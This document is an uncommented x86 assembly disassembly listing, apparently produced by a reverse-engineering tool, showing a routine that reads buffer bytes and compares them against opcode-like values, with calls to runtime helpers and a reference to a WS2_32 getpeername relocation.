push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52f9cc
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52fa1d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52fa79
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x18
cmp eax, ecx
jl 0x52fab9
push 0x295c
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x52fc47
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0x1a
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52fafe
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52fb32
and eax, 0xff
jmp 0x52fb87
cmp ecx, 0x80000201
jne 0x52fb3d
cwde
jmp 0x52fb87
cmp ecx, 0x80000301
je 0x52fb87
cmp ecx, 0x80000401
je 0x52fb87
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52fb77
cmp ecx, 0x80000601
je 0x52fb7c
push 0x29a8
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52fb82
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52fbd3
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52fc2f
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0xc]
add ebx, 0x10
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], 0
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 5
cmp eax, ecx
jl 0x52fc81
push 0x2a99
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0x8d
jne 0x52fd0b
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 9
cmp eax, ecx
jl 0x52fcba
push 0x2ac2
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0xb9
jne 0x52fd0b
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xe
cmp eax, ecx
jl 0x52fcf3
push 0x2aeb
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
cmp byte [ebx], 0x64
jne 0x52fd0b
mov eax, 1
jmp 0x52fd10
mov eax, 0
test eax, eax
je 0x530296
mov ebx, dword [ebp - 0xc]
add ebx, 0x10
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0xb
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52fd4c
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52fd80
and eax, 0xff
jmp 0x52fdd5
cmp ecx, 0x80000201
jne 0x52fd8b
cwde
jmp 0x52fdd5
cmp ecx, 0x80000301
je 0x52fdd5
cmp ecx, 0x80000401
je 0x52fdd5
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52fdc5
cmp ecx, 0x80000601
je 0x52fdca
push 0x2f72
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x52fdd0
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x15
cmp eax, ecx
jl 0x52fe02
push 0x2fc4
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc3
je 0x52fe50
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x18
cmp eax, ecx
jl 0x52fe3b
push 0x2fed
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0xc3
je 0x52fe50
xor eax, eax
jmp 0x52fe55
mov eax, 1
test eax, eax
je 0x52ff18
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x52fea4
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x52ff00
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x15
cmp eax, ecx
jl 0x52ff40
push 0x305f
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x5300ce
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0x17
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x52ff85
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x52ffb9
and eax, 0xff
jmp 0x53000e
cmp ecx, 0x80000201
jne 0x52ffc4
cwde
jmp 0x53000e
cmp ecx, 0x80000301
je 0x53000e
cmp ecx, 0x80000401
je 0x53000e
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x52fffe
cmp ecx, 0x80000601
je 0x530003
push 0x30ab
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x530009
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x53005a
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x5300b6
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0x18
cmp eax, ecx
jl 0x5300f6
push 0x311b
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x530284
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0x1a
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x53013b
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x53016f
and eax, 0xff
jmp 0x5301c4
cmp ecx, 0x80000201
jne 0x53017a
cwde
jmp 0x5301c4
cmp ecx, 0x80000301
je 0x5301c4
cmp ecx, 0x80000401
je 0x5301c4
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x5301b4
cmp ecx, 0x80000601
je 0x5301b9
push 0x3167
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x5301bf
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x530210
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x53026c
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0xc]
add ebx, 0x10
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], 0
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 5
cmp eax, ecx
jl 0x5302c3
push 0x324a
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xe8
jne 0x5306ce
push 0x80000301
push 0
push 7
push 0x80000301
push 0
push 3
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x5302ff
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x44]
cmp ecx, 0x80000101
jne 0x530333
and eax, 0xff
jmp 0x530388
cmp ecx, 0x80000201
jne 0x53033e
cwde
jmp 0x530388
cmp ecx, 0x80000301
je 0x530388
cmp ecx, 0x80000401
je 0x530388
mov dword [ebp - 0x4c], eax
cmp ecx, 0x80000501
je 0x530378
cmp ecx, 0x80000601
je 0x53037d
push 0x36ab
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x4c]
jmp 0x530383
mov dword [ebp - 0x48], edx
fld qword [ebp - 0x4c]
call fcn.00522df4
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
jle 0x5303a6
cmp dword [ebp - 0x38], 0xa
jge 0x5303a6
mov eax, 1
jmp 0x5303ab
mov eax, 0
test eax, eax
je 0x5306c9
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
push 0xd
push dword [ebp - 0x38]
call fcn.0052d273
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
push ebx
push ecx
mov eax, dword [ebp - 0x38]
dec eax
jns 0x5303f6
push 0x37b2
push 0x40203dd
push 4
call fcn.005a3185
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x530413
push 0x37b2
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xf
jne 0x5306c9
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xa
cmp eax, ecx
jl 0x53044c
push 0x37fe
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x5305da
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0xc
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x530491
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x5304c5
and eax, 0xff
jmp 0x53051a
cmp ecx, 0x80000201
jne 0x5304d0
cwde
jmp 0x53051a
cmp ecx, 0x80000301
je 0x53051a
cmp ecx, 0x80000401
je 0x53051a
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x53050a
cmp ecx, 0x80000601
je 0x53050f
push 0x384a
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x530515
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x530566
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x5305c2
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xa
cmp eax, ecx
jl 0x530602
push 0x38ba
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc3
jne 0x5306c9
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x53065a
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x5306b6
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 5
cmp eax, ecx
jl 0x5306f6
push 0x39a8
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xba
jne 0x530747
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xa
cmp eax, ecx
jl 0x53072f
push 0x39d1
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0xff
jne 0x530747
mov eax, 1
jmp 0x53074c
mov eax, 0
test eax, eax
je 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xb
cmp eax, ecx
jl 0x53077c
push 0x3dcd
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0x12
je 0x5307ca
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xb
cmp eax, ecx
jl 0x5307b5
push 0x3df6
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
cmp byte [ebx], 0xd2
je 0x5307ca
xor eax, eax
jmp 0x5307cf
mov eax, 1
test eax, eax
je 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xc
cmp eax, ecx
jl 0x5307ff
push 0x3e42
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc2
jne 0x53098d
mov ebx, dword [ebp - 0xc]
add ebx, 0xc
mov dword [ebp - 0x3c], ebx
push 0x80000301
push 0
push 0xe
push 0x80000301
push 0
push 2
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x530844
mov eax, 0x6c679d
push eax
push 3
mov ebx, 0x19c
call fcn.005a54c0
add esp, 0x28
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x40], ecx
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, 0x80000101
jne 0x530878
and eax, 0xff
jmp 0x5308cd
cmp ecx, 0x80000201
jne 0x530883
cwde
jmp 0x5308cd
cmp ecx, 0x80000301
je 0x5308cd
cmp ecx, 0x80000401
je 0x5308cd
mov dword [ebp - 0x50], eax
cmp ecx, 0x80000501
je 0x5308bd
cmp ecx, 0x80000601
je 0x5308c2
push 0x3e8e
push 0x40203dd
push 2
call fcn.005a3185
add esp, 0xc
fld dword [ebp - 0x50]
jmp 0x5308c8
mov dword [ebp - 0x4c], edx
fld qword [ebp - 0x50]
call fcn.00522df4
mov ebx, dword [ebp - 0x3c]
mov dword [ebx], eax
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x530919
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x530975
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
mov ebx, dword [ebp - 0x34]
call fcn.00523cd0
mov eax, 0xc
cmp eax, ecx
jl 0x5309b5
push 0x3efe
push 0x40203dd
push 1
call fcn.005a3185
add esp, 0xc
add ebx, eax
mov dword [ebp - 0x3c], ebx
mov ebx, dword [ebp - 0x3c]
cmp byte [ebx], 0xc3
jne 0x530a7c
push 0x8322a4
push 4
mov eax, 2
call fcn.005a3c80
add esp, 8
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x3c], eax
mov ebx, dword [0x8322a4]
mov dword [ebp - 0x40], ebx
call fcn.00523cd0
mov dword [ebp - 0x44], ecx
mov edi, dword [ebp - 0x40]
mov dword [edi], 1
add edi, 4
mov eax, ecx
inc eax
mov dword [edi], eax
add edi, 4
cmp edi, ebx
je 0x530a0d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x44]
inc eax
shl eax, 2
add eax, 8
push eax
push dword [ebp - 0x40]
call fcn.005a3197
add esp, 8
mov dword [0x8322a4], eax
mov edi, eax
add edi, 8
mov eax, dword [ebp - 0x44]
shl eax, 2
add edi, eax
mov eax, dword [ebp - 0x3c]
push edi
push eax
push 0x14
call fcn.005a3179
add esp, 4
pop esi
mov edi, eax
push eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
push esi
push edi
test eax, eax
je 0x530a69
push eax
mov ebx, eax
call fcn.00522be3
inc eax
push eax
call fcn.005a3179
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
stosd dword es:[edi], eax
mov ecx, 3
rep movsd dword es:[edi], dword [esi]
pop eax
pop edi
mov dword [edi], eax
jmp 0x530a7c
pop eax
pop ebx
pop ecx
jmp 0x52dca7
add esp, 0xc
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
push dword [ebp - 0x24]
push 0xffffffff
call fcn.0053478f
pop ebx
pop ecx
jmp 0x52d79c
add esp, 8
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x530aba
push ebx
call fcn.005a317f
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x530ad1
push ebx
call fcn.005a317f
add esp, 4
pop ebx
call fcn.005a317f
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x530aea
push ebx
call fcn.005a317f
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x530afa
push ebx
call fcn.005a317f
add esp, 4
mov ebx, dword [ebp - 0x20]
push ebx
add ebx, 0x68
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.005a317f
add esp, 4
pop ebx
call fcn.005a317f
add esp, 4
mov ebx, dword [ebp - 0x28]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x530b34
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x530b30
